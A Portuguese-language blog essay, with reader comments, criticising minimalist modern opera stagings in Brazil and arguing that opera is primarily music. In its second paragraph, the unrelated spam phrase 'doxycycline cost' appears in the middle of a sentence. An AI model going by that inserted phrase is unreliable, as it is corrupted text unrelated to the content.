Artigo

As “releituras” dos encenadores e o gosto pela ópera

As montagens moderninhas são mesmo capazes de atrair um leigo para a apreciação do teatro lírico? Quem tem acompanhado o Movimento.com e agora passa a acompanhar o blog, sabe que, via de regra, Marcus Góes e eu discordamos constantemente. Em algumas ocasiões, no entanto, nossas opiniões convergem a um denominador comum. A última dessas convergências deu-se nas nossas análises da encenação da ópera Lucia di Lammermoor, de Donizetti, levada no Theatro Municipal do Rio de Janeiro.

Neste artigo, parto de uma pequena passagem da crítica de Marcus Góes para a Lucia doxycycline cost carioca (visto que di Lammermoor definitivamente não era…), para expor um pensamento ou até mesmo uma convicção. Disse Marcus Góes: “Fazer ópera com produções de teatro moderno, atual, é empreitada das mais difíceis. O gênero alcançou seu apogeu no final do século XVIII e em todo o século XIX, toda a estética literária dos libretos, ação dramática, intenções e enquadramento musicais são cabíveis conservando-se a essência do que foi da substância das obras na época em que foram geradas. Que tal mudar o fundo da tela da Gioconda de da Vinci?”.

A afirmação de Marcus Góes na passagem supracitada é cristalina e inquestionável. É difícil, muito difícil mesmo, para encenadores atuais levarem a cabo releituras realmente eficientes de óperas tradicionais, em especial daquelas escritas antes do século XX. Raramente, alguma coisa é feita com inteligência e senso crítico. Na maioria das vezes, o que se vê é apenas “o diferente pelo diferente”.

No exterior, as boas releituras ocorrem com mais frequência e, mesmo assim, somente em locais com alguma tradição em montagens líricas, seja porque a ópera faz parte de sua história e de sua cultura há muito tempo (está no sangue), como é o caso de alguns países da Europa; seja porque os teatros líricos primam pela qualidade de suas produções, como é o caso de um Metropolitan; seja porque seu público está tão acostumado a degustar óperas, que releituras se fazem necessárias para arejar as ideias e provocar este público. O que não quer dizer que, do exterior, também não nos chegue muita porcaria através de DVDs, fotos, matérias em revistas e os youtubes da vida.

No Brasil, o problema beira o caos, por uma série de motivos, dos quais cito os seis que mais me chamam a atenção, quase todos interligados de alguma forma:

1- a raquítica, mirrada e quase desprezível produção de ópera em todo o território nacional (exemplo: se juntarmos todas as produções profissionais de ópera do Brasil em 2011, não chegamos ao número de produções apresentadas neste mesmo ano por um único teatro como o Metropolitan de Nova Iorque;.

2- o fato, inquestionável, de que boa parte do público nunca assistiu, ao vivo no teatro, a produções tradicionais de várias óperas exatamente pelo motivo exposto no item 1 (exemplo: Lucia di Lammermoor não subia ao palco do Municipal do Rio desde o começo da década de 70 do século passado. Com isso, naturalmente, a grande maioria das pessoas presentes no Municipal não conheciam a obra ao vivo e, de cara, depararam-se com uma releitura. Ora, se não conhecem nem o tradicional, como se enfia assim uma releitura goela abaixo dessas pessoas?);

3- a ausência de quantidade razoável de óperas sendo levadas à cena lírica em nosso país faz com que, praticamente, ninguém se especialize na encenação de ópera, até por questões mercadológicas (se especializar para que, se quase não há montagens para dirigir? Um André Heller-Lopes e um Walter Neiva são exceções que confirmam a regra);

4- exatamente pelo motivo exposto no item anterior, a grande maioria dos encenadores contratados para dirigir as parcas óperas que sobem aos nossos palcos é oriunda do teatro de prosa, que possui uma linguagem totalmente diferente daquela da ópera, e por isso mesmo esses profissionais dirigem obras líricas como se estivessem dirigindo teatro convencional. A pior constatação é que muitos encenadores nunca dirigiram sequer uma produção tradicional de ópera, e quem não sabe fazer feijão com arroz, não pode se meter a preparar pratos sofisticados (exemplo: diretores consagrados de teatro, de talento reconhecido por todos, como Aderbal Freire-Filho e Gabriel Villela assinaram na primeira década deste século montagens horrendas, respectivamente, de Un Ballo in Maschera e Don Carlo no Rio de Janeiro e em São Paulo);

5- os encenadores e os teatros se escondem atrás de termos como “minimalismo” e “montagem despojada” para justificarem suas montagens fracas e esteticamente pobres. O problema é que, no Brasil, só se monta ópera pautando-se no “minimalismo” ou no “despojamento”. Estranho, não acham? Em nosso país, todo mundo faz ópera do mesmo jeito… Aqui, releituras não podem ter cenários de verdade. Nelas, o lance é jogar um paninho preto lá no fundo do palco, ou então até fazer um cenário (mas unzinho só, hein!) que será usado em todos os atos, em todos os quadros e em todas as cenas de uma mesma ópera;

6- falta de recursos adequados para as produções líricas – o que, no entanto, não é motivo para falta de criatividade. E mesmo neste caso, de parcos recursos, quando a culpa maior nem é dos encenadores, estes ficam quietinhos, não esclarecem o público e a imprensa que não puderam fazer nada melhor porque os teatros não lhes deram condições minimamente aceitáveis, etc… Ficando quietinhos e não criticando os teatros que os contrataram, quase sempre dirigidos por algum amigo, quem sabe não serão chamados novamente no futuro, não é?

Bem, recapitulando, parti da afirmação de Marcus Góes e apresentei algumas observações sobre as “releituras à brasileira” para chegar aos dois pontos que realmente me interessam defender aqui, e um é consequência do outro.

Em primeiro lugar, ópera é mais música que teatro. Sei que alguns vão se alvoroçar com este meu posicionamento, mas é o que penso e justifico: a) Existe ópera sem música, só com palavras? Não. b) Alguém já viu um libreto original, escrito especificamente para uma ópera, ser levado ao palco sem música e ter dado certo? Muito provavelmente não. c) E o contrário, ópera sem encenação, e com a música todinha lá, existe? É claro que sim, as óperas em forma de concerto estão aí, espalhadas por todo o mundo para não me deixar mentir – isso para não falar dos CDs de ópera e de toda uma gama de gravações desde que foi inventado o fonograma até o MP3.

Viram, não foi muito difícil concluir que ópera é mais música que teatro. Não estão satisfeitos? Vamos lá: de cabeça, sem procurar nos livros, quem escreveu o libreto de Il Turco in Italia? Ou então aquele de La Cenerentola? Quem sabe o de L’Italiana in Algeri? Não lembraram, não é? Mas aposto que sabem que foi Rossini quem compôs a música dessas óperas… Quem não conhece a fanfarra da abertura de Guilherme Tell? Todos conhecem, ela aparece até em desenhos animados e filmes. Raros serão, contudo, aqueles que apontarão os autores do libreto desta mesma ópera, ou a obra teatral na qual ela é baseada, sem pestanejar, nem recorrer aos seus alfarrábios.

Em ópera, o que gruda na mente é a música. O resto é complemento. Complemento importantíssimo, eu reconheço. Afinal, assistir a uma ópera encenada é muito mais prazeroso e gratificante que a uma ópera em concerto, pois ela foi composta para ser levada ao palco. Mas a encenação não pode, em momento algum, se sobrepor à música. O problema é que, aparentemente, alguém se esqueceu de avisar a muitos dos encenadores atuais sobre esta proibição, e o que vemos, muitas vezes, são encenadores ganhando mais importância e mais poder que o maestro, e isso é um absurdo.

Lembro-me do filme Encontro com Vênus (Meeting Venus, no original), de István Szabó. Nele, um maestro húngaro chega a Paris para reger uma nova produção de Tannhäuser e, quando o diretorzinho da ocasião lhe mostra as maquetes dos cenários e lhe explica sua concepção da ópera, o maestro, com um semblante sério e desapontado, nitidamente contrariado, apenas exclama de maneira bastante vaga algo mais ou menos assim: “É, é lindo…”. Ele sabe que não tem nada a fazer, e que terá que engolir as invencionices do diretor.

É um absurdo que os teatros de ópera de hoje em dia deem mais poder aos encenadores, muitas vezes medíocres, que a seus maestros titulares e regentes convidados, que deveriam ter o direito de vetar certas imbecilidades “criadas” pelos diretores cênicos, considerando que, como vimos acima, ópera é muito mais um espetáculo musical enriquecido pela encenação, que teatro acompanhado por música. Não se trata de censura, mas apenas o direito do veto, que pode ser compartilhado por uma equipe, e não ficar apenas nas mãos do maestro.

Um ótimo exemplo: em duas montagens recentes do Theatro Municipal do Rio de Janeiro (La Bohème 2008 e Il Trovatore 2010), os encenadores de plantão bolaram cenários (quer dizer, cenários é modo de dizer…) que deixavam o palco totalmente aberto, prejudicando acusticamente as duas óperas, uma vez que o som do palco (solistas, coro) se dissipava com facilidade pelas laterais, e não era projetado para a plateia. Ora, em casos amadorísticos como esses, o maestro ou a equipe (ou comissão) deveria ter o direito e o poder de se dirigir ao encenador e explicar-lhe que, desse jeito, não será possível realizar um trabalho musical digno, e exigir mudanças imediatas.

Chegamos, enfim, ao segundo ponto da minha defesa, aquele que é o motivo deste artigo. A ideia de que as montagens modernas, atualizações e/ou releituras possam aproximar o público atual da ópera não passa de balela, conversa fiada, historinha para justificar montagens pobres e desprovidas de criatividade.

Vimos que ópera é, sobretudo, música. O que faz alguém gostar de ópera é a música. Se uma pessoa não aprecia esse estilo musical, não se sente atraída pelo canto lírico, não adianta colocar homens pelados e mulheres nuas em cena, que o sujeito não vai sair de casa para ir à ópera. Gerald Thomas quase fez isso num Tristão e Isolda no Rio em 2003, quando colocou em cena uma atriz trajando espartilho completo, com meias 7/8 e cinta-liga, que se masturbava durante o prelúdio da ópera (isso para não falar no fato de o diretor ter mostrado sua, digamos, retaguarda para a plateia, apenas porque esta exerceu o seu direito da vaia diante daquela montagem chinfrim).

Se alguém ouvir La donna è mobile (do Rigoletto), ou a cena do brinde do primeiro ato da Traviata, ou então o Largo al factotum de Fígaro no Barbeiro, e achar a música bonita, ficar arrepiado, pode ser que se interesse em sair de casa para ouvir ao vivo aquela composição que o tocou emocionalmente, que mexeu com a sua sensibilidade. Por outro lado, se essa pessoa não ouvir nada da música dessas óperas, mas ler no jornal, na revista ou na internet que o diretor fulano de tal vai realizar uma ópera com um cenário só do início ao fim, ou então que o diretor sicrano vai transpor a história da ópera tal para a Moldávia do século XXVI, o sujeito vai pensar quatro vezes antes de gastar quase cem pratas por um ingresso na plateia do teatro.

O público de ópera é um público tradicional. E com “tradicional” não quero dizer “velho, antigo”, mas sim enfatizar que este público valoriza as tradições. Isso não quer dizer que ele não esteja aberto a uma releitura, a uma atualização. Até está, mas não adianta os encenadores criarem ideias mirabolantes de releituras, mas sem sustentação, apenas para não fazer nada igual ao que já foi feito antes.

Se a concepção da releitura for realmente inteligente, genial, esta será bem aceita. Agora, cá entre nós, para colocar em cena ideias de jerico, única e exclusivamente para fazer “o diferente pelo diferente”, sem nenhuma concepção que realmente se sustente, seria melhor apostar no tradicional – até porque o tradicional anda tão longe dos palcos brasileiros que, quando reaparecer, ele (ou seja, o tradicional) é que será o diferente! Pano rápido.

Só para encerrar, talvez alguém se pergunte: e os jovens, como atraí-los para a ópera? Sinceramente, não tenho bola de cristal e sei que essa é uma pergunta de difícil resposta. Acredito que educação musical e deixar a música clássica e lírica sempre ao seu alcance (através de CDs, DVDs, convites de familiares e amigos para que eles – os jovens – os acompanhem em concertos, óperas e balés) de alguma forma possa ser um dos caminhos possíveis.

É difícil ter soluções definitivas quanto à atração dos jovens, mas de uma coisa tenho certeza absoluta: não será obrigando-os a ficar três, quatro ou até mesmo cinco horas sentados em um teatro olhando para o mesmo cenário que irá despertá-los para esse mundo vasto e incrivelmente gratificante da ópera.

PS: Comentários para enriquecer a discussão são sempre bem-vindos.

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8 Comments

  1. Bravo, Leonardo, excelente texto.
    Como violista da Orquestra do Theatro Municipal há 22 anos, só posso concordar com tudo o que voce falou.
    Sou privilegiada por ter tocado em montagens belíssimas e primorosas. Consegui pegar a época de ouro do TM com recordes de público e de montagens. Tive o prazer de ouvir excelentes cantores nas nossas óperas.
    Saudades daqueles tempos e que torço para voltarem o mais rápido possível.
    Obrigada por traduzir, tão bem meus, sentimentos.
    Grande abraço

  2. Obrigada pelo texto rico de informações.
    Discussão realmente muito interessante e ponto crucial em todas as montagens do mundo. Ópera é drama em música e muita coisa boa e ruim foi feita com o passar dos séculos, estilos e tradições, sem esse tema nunca sair de moda. Compositores, libretistas, diretores, musicólogos…não dá pra passar por cima de tanto tratado de dramaturgia musical e achar que a inovação é única ponte que vai ligar a tradição musical ao novo público que se quer alcançar. Não é. A formação sim. Não sei exatamente como…aulas-concerto, palestras interativas, espetáculos acessíveis ao bolso dos jovens.. e sim,claro..cenários!!! Ópera sem música não existe, mas música sem encenação é concerto, outra forma de entretenimento – perde-se a magia e perde-se uma estória que foi escolhida com paixão pra ser contada através de música, palavras, gestos.
    Sou a favor da experimentação, mas com respeito, da inovação que reverencia o legado histórico, e principalmente que emocione. Que permita aos cantores e músicos contarem/cantarem essas estórias da melhor maneira possível. um abraço

  3. Fico feliz de saber que não sou o único a pensar assim. Concordo plenamente com os seus comentários, e ainda acrescento um absurdo que tem acontecido no Theatro Municipal do Rio de Janeiro: o projetor de legendas colocado na nova sala de luz e som, fazendo barulho em pleno balcão nobre. Só mostra o amadorismo com que as companhias de ópera estão sendo conduzidas no Brasil.
    Desde que a Bia Lessa dirigiu “Cavalleria Rusticana” e “Pagliacci” há muitos anos atrás, revolto-me constantemente com a escalação de tais diretores. Na minha visão, Bia Lessa e Alberto Renault não fazem releituras, eles simplesmente não entendem de ópera – o que é evidente quando óperas vibrantes como Lucia e Il Trovatore ficam longas e arrastadas.
    Quanto ao interesse de jovens por ópera, tenho 28 anos, frequento ópera desde os 13 e já há algum tempo, convido meus amigos para irem comigo. Posso dizer que nenhum deles assistiu ainda a uma boa montagem de ópera (como La Traviata de 1995 ou La Boheme de 1996). Na récita de Lucia minha vergonha diante da decepção deles com a noite tediosa só não foi maior que a minha raiva por pagar R$ 84,00 assistir a um espetáculo amador e ainda aturar os ruídos de um retroprojetor sobre a minha cabeça.
    No mais, parabéns pelo trabalho aqui no site. Sempre leio e quase nunca comento. Mas gosto muito.

  4. Li e estou plenamente de acordo. Principalmente com um de seus trechos que diz:”ópera é muito mais um espetáculo musical enriquecido pela encenação, que teatro acompanhado por música”. Vou para apreciar ao vivo o que já curto há muito tempo em cds e confesso que algumas montagens de cenário me deixaram confusa, sem entender: nessas horas eu digo que valeu a pena ir só pela música. Parabéns Leonardo, você disse o que muitos gostariam de dizer e não dizem porque não querem ou não querem se expôr. Só para completar, sou professora de duas escolas públicas e pelo menos uma vez por semana proporciono aos meus alunos um momento de “relaxamento”, onde eles deitam em colchonetes, fecham os olhos e apreciam em silêncio trechos de músicas clássicas que levo em cds e eles adoram. Se cada um pudesse mostrar um pouquinho deste mundo maravilhoso da música clássica, nosso público nos teatros seria bem maior, mas com certas montagens realmente fica difícil.

  5. Obrigado a todos pelos comentários.

    Jesuína, você certamente deve ter tocado na Traviata de 2001, com cenários de Gianni Quaranta que eram dignos de qualquer grande teatro do mundo. Lembro-me até hoje do público aplaudindo os cenários a cada vez que a cortina abria. Aqueles eram cenários de ópera, não a enganação que temos visto há vários anos, não só no Rio de Janeiro. No Brasil inteiro é assim.

    O que mais me deixa indignado é a desfaçatez com que tais montagens medíocres são vendidas. Como eu disse claramente no texto, termos como “despojamento” e “minimalismo” são usados como desculpa esfarrapada para a pobreza cênica e a falta de criatividade. Não é possível que toda montagem no Brasil seja minimalista e despojada… Ninguém sabe fazer nada diferente disso?

    Bruno, sempre que possível também tenho o hábito de convidar amigos e amigas que não conhecem ópera para frequentarem o teatro e travarem contato com esta forma de arte. Ao longo do tempo, alguns experimentaram e não voltaram mais. Outros não só gostaram, como se tornaram frequentadores assíduos do Theatro Municipal. O importante é convidar sempre.

    Concordo totalmente com você. Profissionais como Alberto Renault e Bia Lessa não são diretores de ópera e, consequentemente, não entendem muito bem do assunto. O trabalho deles é voltado para outras formas de arte (teatro de prosa, TV, etc). Caem na ópera de pára-quedas, provavelmente convidados por algum amigo, e não acrescentam nada que realmente valorize a ópera como forma de arte.

    Chiara, também acho que a ópera perde a magia sem encenação. Minha provocação de que ópera é mais música que teatro (nem que a música vença o teatro por apenas 51% a 49%, mas vence) foi no sentido de que, nos dias de hoje, dá-se muita importância e muito valor a encenadores que desrespeitam obras consagradas.

    As próprias matérias de jornais que antecedem a estreia falam mais da encenação de fulano de tal para a ópera tal do que da obra em si. E quando o encenador aparece mais que a obra, quando o seu “conceito” suplanta o conceito dos autores da obra, é porque há algo de errado nessa engrenagem complexa da ópera.

  6. Olá, Léo!
    Acho que o mais importante aqui não é concordar ou discordar das suas colocações no artigo. O melhor da arte é que ela fala de acordo com a sensibilidade, com a visão de mundo e com o conhecimento, ou história de vida, de cada um.
    Lucia di Lammermoor pode não ter sido a melhor ópera a que assisti, mas também não foi a pior. E, como disse a você, talvez tenha faltado um projeto de iluminação que aproveitasse melhor o cenário e suas dimensões.
    Quanto à ideia de realismo, ainda no século XIX o Impressionismo foi um passo importante para permitir que a arte se “descolasse” da ideia de representação fiel da realidade como algo único, estático e isento de subjetividade. E, hoje, isso já foi muito além, pois falamos em arte conceitual, onde a figura poderia até ser dispensável para o entendimento de uma obra.
    Também gosto muito do dito “tradicional”, mas o que é o tradicional? Não seria algo inédito que aceito e repetido inúmeras vezes se torna uma referência?
    Os grandes mestres não são assim considerados hoje justamente porque quebraram padrões ou aprimoraram o que era considerado tradição?
    Seja tradicional ou moderna, uma obra só me diz algo se me fizer pensar e falar sobre ela. Só o estranhamento faz com que a gente se mova.
    Na minha opinião se a desculpa para os “não-cenários” é econômica, deve se avaliar o espetáculo com esta variável.
    A Europa (e autores) já passou por muitas crises, e é na crise que produzimos com maior sensibilidade. Os americanos estão começando a aprender.
    Quando voltamos da Itália depois de Aida ter sido cancelada em Turim, fiquei pensando sobre o teatro no Brasil. Se os músicos, artistas etc. entraram em greve, por descaso, em um dos berços da cultura ocidental, imagine o que não temos que passar no Brasil…
    De qualquer forma o que vale é fazer… criticar (no sentido positivo)… refazer… repensar… É assim que os movimentos acontecem, e a evolução também.

    Continue fazendo, junto com o movimento.com, esta arte maravilhosa crescer por aqui. Ah! Acho que Ópera é tudo (teatro, cenário, iluminação, música, dança…).

    Um Abraço e Sucesso!
    Rosane

  7. Cara Rosane,

    Obrigado por seu comentário. Como disse, enriquecer a discussão é sempre positivo. Eu gostaria apenas de deixar claro que eu não tenho nada contra releituras em ópera, desde que elas se justifiquem, tenham um significado plausível e, principalmente, não deturpem as obras.

    O que eu critico é fazer o diferente pelo diferente, só para não ser igual aos outros, mesmo que este “diferente” seja algo descartável. O que eu critico é que, no Brasil, só se faz ópera pautada num “minimalismo” que nada mais é do que desculpa esfarrapada para não fazer nada melhor.

    E, principalmente, gostaria de focar no motivo principal deste artigo: muitos diretores cênicos defendem suas releituras como uma maneira de aproximar as obras dos tempos atuais, do público de hoje. No entanto, eu tenho certeza que esse tipo de argumento é vazio. Ópera é uma arte muito específica. Se a pessoa não tiver um mínimo de sensibilidade para apreciar canto lírico, ela vai achar ópera uma coisa chata e pronto. Não serão as encenações mirabolantes que aproximarão essa pessoa da ópera.

    Enquanto nossos teatros líricos montam óperas sem (ou quase sem) cenários, os musicais produzidos em São Paulo e no Rio de Janeiro apresentam um show de cenografia. Recentemente, aqui no Rio, A Noviça Rebelde subiu ao palco com cenários magníficos. Há poucos anos, em São Paulo, vi O Fantasma da Ópera com cenários e recursos cênicos do mais alto nível.

    O sujeito vai, leva a família, fica satisfeito porque seu investimento em cultura/entretenimento foi recompensado à altura e volta no próximo musical. Será que nas óperas produzidas no Brasil um leigo sai do teatro satisfeito? Será que ele acha que seu investimento valeu a pena, vendo todo mundo parado em cena, como na Lucia di Lammermoor, ou ouvindo mal a música porque a ausência de cenários faz o som de dissipar pelas coxias como no Trovatore do ano passado? Acho que não.

    Da mesma forma que os teatros buscam no exterior solistas para partes específicas onde há carência de boas vozes nacionais, acho que poderiam procurar também, pelo menos de vez em quando, diretores cênicos capazes de dar uma arejada no tal “minimalismo brasileiro”. Quem sabe, tendo tal concorrência, os diretores e cenógrafos brasileiros não resolvam caprichar um pouquinho mais?

    É claro que, se for para trazer um estrangeiro, que se traga um realmente bom, como uma Sonja Frisell que dirigiu La Traviata no Rio em 2001. Para trazer de fora um mediano, ficamos com a nossa mediocridade cênica habitual.

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Leonardo Marques
Formado em Letras com pós-graduação em Língua Italiana. Frequentador assíduo de concertos e óperas. Participou de cursos particulares sobre ópera. E-mail: leonardo@movimento.com